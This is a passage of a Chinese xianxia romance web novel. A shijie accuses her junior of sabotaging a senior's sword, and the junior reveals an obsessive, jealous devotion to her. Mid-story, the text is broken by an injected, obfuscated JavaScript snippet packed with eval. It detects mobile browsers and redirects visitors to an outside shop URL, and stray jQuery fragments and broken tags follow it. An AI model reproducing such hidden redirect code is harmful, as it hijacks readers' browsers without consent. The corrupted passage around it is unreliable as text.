“什么.....”
傅曲舟猛地站起身,碰翻桌上的茶壶。
茶水洒得到处都是,浸湿姜离的衣袖,她眼都未眨,坚定重复:“阿舟无需跟着师姐前往泽西川除妖,明日即刻返回玄灵宗!”
“为……何?”他诉出的每个字都在颤抖。
她跟着站起身,目光灼灼,“阿舟怎会不知?你用妖血封住路师兄的追魂剑时,就该知晓后果!”
“我没有,不是我。”傅曲舟眼神慌乱,四处乱瞟。
她走近一步,“那日迎战三路妖兽,我将追魂剑递给你降妖。第二日在水妖洞穴,那把剑便失了效用。不是你,还能是谁?”
“这一路妖兽众多,谁知路师兄的剑还有谁碰过,师姐为何认定了我?”
“追魂剑路师兄贴身佩戴,只有被封入冰棺那日你我二人碰过。”
“阿舟,”她顿了顿,耐着性子同他讲道理:“做了便做了,做错便做错,要知错改错认错悔错。”
“我没有错,不是我!”傅曲舟高声辩驳,眼底是执拗的绯红,“师姐不过是偏心罢了。”
“路师兄剑术不敌,被巨石砸中,便是我动了他那把宝剑的手脚?”
他眼神不再躲闪,迎上她的责备,“我与路师兄相逢百年,他待我亲如兄长,我为何要害他?”
姜离怔住,瞧了傅曲舟好几眼。眼底有些酸涩,她偏过头,轻启檀口:“阿舟……为情所困,不是吗?”
坚守的城池土崩瓦解,方才所有的辩驳都变得苍白无力。傅曲舟僵立在原地,紧攥的掌心,生出密密麻麻的汗水。
原来,师姐赶他走,是知晓了他对她龌龊的心思。
阴暗沟渠里的污泥本就不该肖想霜月。
可是......
傅曲舟双目失神,迷茫又痛苦:“师姐,我知道这是错的,可我控制不了自己啊。在我意识到时,一切就已经覆水难收了!”
噗通一声,他跪在她面前,想要拽住她的裙摆,指尖刚触到衣料便收回。
三尺之约,不可逾越。长指蜷在掌心,深深嵌进肉里,疼的他整个身躯都在抖。
他俯低身子,垂着头,一步步爬向她,趴在她脚边,卑微得像一条狗,“师姐是我的错,你打我骂我皆可,别不要我。”
“师姐求求你,不要赶我走,好不好?”
他别无所求,不过是默默跟在她身后,都不能如愿吗?
“阿舟……”
姜离蹙了蹙眉,退后几步。
“前往泽西川危险重重,你法术不精,还是回玄灵宗的好。”
他再次爬向她,“不要,我要一直跟随师姐左右。”
一生一世,每日每夜,一刻都不能分离。
“我不可以离开师姐.....不可以.....”
不可以,不可以,不可以,不可以,不可以,不可以,不可以...…不可以!
离开师姐,他会死的。
然而姜离并未如他所愿。她冷下面色,厉声呵斥:“阿舟,即刻返回玄灵宗,不可推拒!”
“我不回!”他拒绝,她退后。
桌上饭菜早已冷透,茶壶歪斜在桌沿,茶水顺着桌角流到地上,洇湿了傅曲舟的衣袖。他不管不顾往前爬,湿透的衣料裹上泥土,又脏又沉,在身后拖出一道刺目的湿痕。
爬到脚边时,她下意识往后退,他一把攥住她的脚腕。
袖衫的泥泞染黑了鞋面,姜离蹙了蹙眉。
“阿舟,你越矩!”
傅曲舟充耳不闻,紧紧攥着,不肯松手。
“所以,师姐执意要驱离我?”
他的嗓音不似方才卑微,平静的不像话,脑袋垂得很低,瞧不见面色,只能听闻指节间咯吱咯吱的捏响。
她想挣脱,他攥得更紧。怕伤了他,她妥协道:“不是赶你走,是除妖之路太过艰险,你......”
都是借口,都是师姐要遗弃他的托辞!
傅曲舟猛地抬眸,眶底一片血红,“前往泽西川斩妖,本就是我千般哀求万般求情得来的,师姐从一开始就不想带上我!”
“其实一路上师姐都嫌我法术低,嫌我是个累赘,对不对!”
“阿舟怎变得如此不讲理?”姜离气得胸痛,斥责之言盘旋在嘴边,瞧见师弟眼角的泪时,又硬生生咽了回去。
她叹口气,“师姐是不愿看你为情所困,日日身心受折磨。”
“师姐,可我就是喜欢......”
“曲芜姑娘生的标志,性子又柔弱,你喜爱她并无错。可她爱慕之人是路师兄并非你,你怎可为了她,封住追魂剑伤害路师兄。”
他喜爱曲芜?
呵~
傅曲舟扯了扯唇角,一脸讥嘲,因头颅低垂,无人瞧见。忐忑不安的心倏地落下,他眉间浮现一抹诡异的舒和,眼底幽暗深邃。
再抬首,他一脸赤忱,“师姐,我对曲姑娘绝无男女之意。况且,我向来对路师兄尊崇敬仰,又怎会封住他的追魂剑?”
“可是......”姜离犹豫。
他脊梁板正,四指指天,“师姐,我发誓。我对曲姑娘无半点爱慕之意,若说谎,百箭穿心而死!”
“阿舟!”
“师姐,我从未有过伤害路师兄之心,追魂剑被妖血封住,更是今日才从师姐口中得知。”
“师姐不可如此污蔑我,更不能赶我走……”
他长睫颤抖,眸中波光粼粼,就这么可怜巴巴望着她,似被欺凌的小兽,“师姐,求求你,不能就这么遗弃我。”
“求求你……”
怎的又说是遗弃.....
若师弟对曲姑娘无爱慕之意,便无封剑的动机,难道是她想错了?
可是,不是他又能是谁。
姜离轻叹口气,“起来吧,别跪了。”
“师姐相信我了?”傅曲舟眸眼晶亮,小心翼翼行至她身旁。
她嗓音淡漠,“路师兄身受重伤,若妖物进犯,凭我一人之力无法抵挡。等找到双龙草,解了路师兄体内的毒,你再回玄灵宗。”
所以......师姐还是要赶他走?
他走了,她便好与路辞明,恩爱缠绵,卿卿我我?
姜离抽身离开,独留傅曲舟僵立在原地。他歪着头,神情呆滞,目光死死锁住那道背影,涣散的瞳孔里,渐渐漫上一层疯魔。
店小二前来收拾桌子,感受到周遭的冷意,哆哆嗦嗦退了回去。而姜离,毫无察觉,自始至终头都未回。
离开食肆后,她拐进东市的一间药铺。
“阿舟,虽然我们未寻到双龙草,抓几副养气补血的方子,路师兄也能少些痛苦。”
傅曲舟点头称是,乖巧地跟在身后。他哪能不知,求补血方子为假,再问一遍东市的药铺是否有双龙草才是真。
师姐不相信他,有些东西一旦崩塌,再难重建。而今在她眼中,他恐怕已是个矫言伪行的小人。
“师姐,草药重,我来拿。”
一个时辰后,他们抓了多副补血的草药,双龙草依旧踪迹全无。只得明日天亮,去幻虚林亲自挖。
一回到木屋,姜离便拐进灶房煎药。
夜色浓重,屋中昏暗无光,傅曲舟独自一人倚在窗边,望着那道忙碌身影。她煎好药,晾得半凉,还寻了一块方糖搁在碗边,才端至路辞明屋中。
“路师兄喝了药,疼痛可有舒缓。”
姜离将空碗接过,放到一旁矮几上。粗糙的陶纹硌到指腹,手几不可察地颤了一下。
“好多了,多谢姜师妹寻来良药。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381816|200112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>路辞明留意到她的异样。
“老大夫说,双龙草可解路师兄体内的毒,我与阿舟寻了一日也未寻到,明日我们二人再去林中找找。”
“师妹不仅以血救我,还不辞辛苦到处奔波寻药,我.....”
“你我一路相携而行,本就该彼此扶持。”
他撑直胳膊艰难坐起,目光落在她发红的指尖,“姜师妹,你的手......”
“无碍,小伤。”
她将手负于身后,笑着摇摇头。方才熬药时,被溅出的汤汁烫到,十根指头无一幸免。
榻上之人放心不下,拖着身子向前,执意要瞧瞧她的伤。半截身躯摇摇晃晃,差一点栽倒在地,姜离连忙上前,将他扶回榻上。
烛火辉煌,将二人的身影映照在西侧小窗,从院外瞧去,似一双佳偶紧紧相拥。
路辞明躺好后,她松开手,退后半步,“虽烫得泛了红,并不严重,路师兄不必担忧。”
“可是......”
“师兄身体虚弱,早些歇息,莫要费心劳神。比起过往遭受的,这点小伤不算什么。”
天色已晚,孤男寡女不便一室,她安抚好路辞明,退出房门。
独自一人时,坚强的外衣褪下,姜离眼睑半垂,呆呆望着指尖。十指通红,火辣辣的痛,还不听话的一直在颤抖。
树下阴影处,一道高大身影缓步走出,瞧见她,快走几步,手中木盆轻晃,荡出几滴水,浸湿了衣袖。
傅曲舟未语,也没有看她,把木盆放在她脚边便退至树荫下。那处昏暗,瞧不清眸色,姜离想说什么,没说,蹲下身将双手浸入井水中,沁人心脾的凉爽霎时蔓延至全身。
水慢慢变得温热,她拿出手,一条素白帕子出现在眼前。她抬眸望去,傅曲舟立马将头偏向另一侧。
她接过帕子擦手,他转身去倒水。
“阿舟……”
她跟在他身后,轻唤了一句,高大背影一僵,没有回头,加快速度大步离去。
不一会儿,他又回来取帕子,大手伸出,在空中悬着。姜离不递,他也不要,就那么举着,双唇紧抿,一声不吭。
他低着头,双眸被长睫遮挡得严严实实,她走近仰头看他。他猛地退后,缩进阴影里,头扭至一侧,脖颈线条绷得死紧,喉骨滚动了好几下。
“阿舟怎么了?”
他不语,僵立不动。
她叹口气,伸出手,素白帕子挂在指尖,将落未落。那道身影顿了顿,从阴影中走出,取走帕子。未做逗留,他转身就走,姜离收拢指尖,素布一半捏在掌心,一半在他手中。
顺着布料纹路,葱白指尖一点点向前探,点了点他的手背。
“阿舟到底怎么了?”
那只手像是被烫到,迅速抽回,背在身后。素白帕子飘飘洒洒落在地上,粘上污泥。
她转到他身前,定定望着。他扭头,她跟着转过去,他又扭回来,她低喝:“傅曲舟!”
他不敢再动,乖乖杵在那儿。
一双布满血丝的眸子落入眼中,眸光沉得发暗,半点暖意也无。长睫颤了颤,一层水雾便漫上来,将所有委屈、酸涩与妒意,全部压在眼底。
“阿舟是为白日之事委屈?”
他不语。
“师姐不会道歉,事情不明朗,你的嫌疑最大。其他事我都可以睁一只眼闭一只眼,但无法接受自己的师弟,是个品行卑劣之徒。”
傅曲舟垂低脑袋,依旧一言不发。二人僵持在冷风中,听着院中夜虫嘶鸣吵闹。
半晌过去,以为再也得不到回应,耳边响起一道嘶哑的颤音,“不是……”
姜离心口一紧,“不是什么?”
不是因为白日之事,是……
“师姐……让路师兄抱了。”